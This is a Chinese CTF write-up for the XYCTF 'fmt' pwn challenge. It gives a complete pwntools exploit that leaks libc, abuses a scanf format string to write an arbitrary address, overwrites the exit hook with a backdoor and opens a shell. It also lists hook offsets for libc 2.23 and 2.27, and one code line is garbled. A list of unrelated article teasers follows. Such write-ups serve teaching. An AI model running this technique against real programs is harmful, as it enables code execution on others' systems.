[XYCTF新生赛]-PWN:fmt解析(scanf格式化字符串漏洞,任意地址写)

devtools/2024/10/21 14:45:42/

查看保护

查看ida

这里没什么好说的

完整exp:

from pwn import*
context(log_level='debug')
#p=process('./fmt')
p=remote('gz.imxbt.cn',20975)
backdoor=0x4012BEp.recvuntil(b'gift: ')
printf_addr=int(p.recv(14),16)
print(hex(printf_addr))
libc=ELF('./libc-2.31.so')
libcbase=printf_addr-libc.sym['printf']
exithook=libcbase+0x222f68
payload=b'%7$s'
payload=payload.ljust(8,b'\x00')
payload+=p64(exithook)
p.sendline(payload)
payload=p64(backdoor)
p.sendline(payload)
p.interactive()

这里操作的scanf格式化字符串任意写的实现条件:

1.可控制的格式化字符串的输入(因为要输入格式化字符串以及要修改的地址)

2.scanf

#补充点1:

在libc2.23中可以修改libcbase+0x5f0040+3848或libcbase+0x5f0040+3856为shell

在libc2.27可以修改libcbase+0x619060+3840或libcbase+0x619060+3848


http://www.ppmy.cn/devtools/31016.html

相关文章

SQL LPAD函数使用

Oracle SQL 中的 LPAD 函数是一个用于格式化字符串的函数,它会在给定字符串的左侧填充指定的字符,直到字符串达到指定的长度。这个函数在数据库查询中非常有用,尤其是在需要对输出进行格式化时,比如在报表中。 LPAD 函数的语法 …

el-collapse:如何监听折叠后事件

项目场景&#xff1a; 项目需要在折叠组件收起后动态计算下方组件内容高度后赋值&#xff0c;这个时候就需要获取折叠后事件 代码描述 <el-collapse v-model"activeNames" change"handleChange" ref"myCollapseRef"> </el-collapse &…

STM32H745BIT6上的ARM Cortex-M7和Cortex-M4核心共享SRAM4中的数据的方法

目录 1.Cortex-M7 Core (主核心) 2.Cortex-M4 Core (从核心) 3.具体代码示例 &#xff08;1&#xff09;Cortex-M7 Core (主核心) &#xff08;2&#xff09;Cortex-M4 Core (从核心) &#xff08;3&#xff09;总结 4.额外的知识点&#xff1a;原子操作 &#xff08;1…

01 Activiti 7:步骤

01 Activiti 7&#xff1a;步骤 1. 整合Activiti2. 业务流程建模3. 部署业务流程4. 启动流程实例5. 查询待办任务6. 处理待办任务7. 结束流程 1. 整合Activiti 业务系统使用 Activiti 来对系统的业务流程进行自动化管理。为了方便业务系统访问&#xff08;操作&#xff09;Act…

用Springboot(java程序)访问Salesforce RestAPI之二(Update和Create)

在上一篇博文中&#xff0c;介绍了Springboot连接Salesforce的步骤和环境构建。 其中&#xff0c;只给出了对Salesforce数据进行查询的例子&#xff0c;这篇文章针对Salsforce数据的Update和Create&#xff0c;再展开一下。 对于Create和Update的操作&#xff0c;请求的方式和…

鸿蒙内核源码分析(用栈方式篇) | 程序运行场地谁提供的

精读内核源码就绕不过汇编语言&#xff0c;鸿蒙内核有6个汇编文件&#xff0c;读不懂它们就真的很难理解以下问题. 1.系统调用是如何实现的? 2.CPU是如何切换任务和进程上下文的? 3.硬件中断是如何处理的? 4.main函数到底是怎么来的? 5.开机最开始发生了什么? 6.关机…

K8s: Kubernetes扩展之自定义资源

自定义资源 自定义资源是 K8s 的扩展&#xff0c;有时候需要对K8s进行一个扩展在默认的K8s集群里面提供的资源对象是一个有限的集合比如常用的pod, deployment, service&#xff0c;这些都是K8s原生的资源之所以它资源&#xff0c;是因为它能够对外提供API接口变成一个resourc…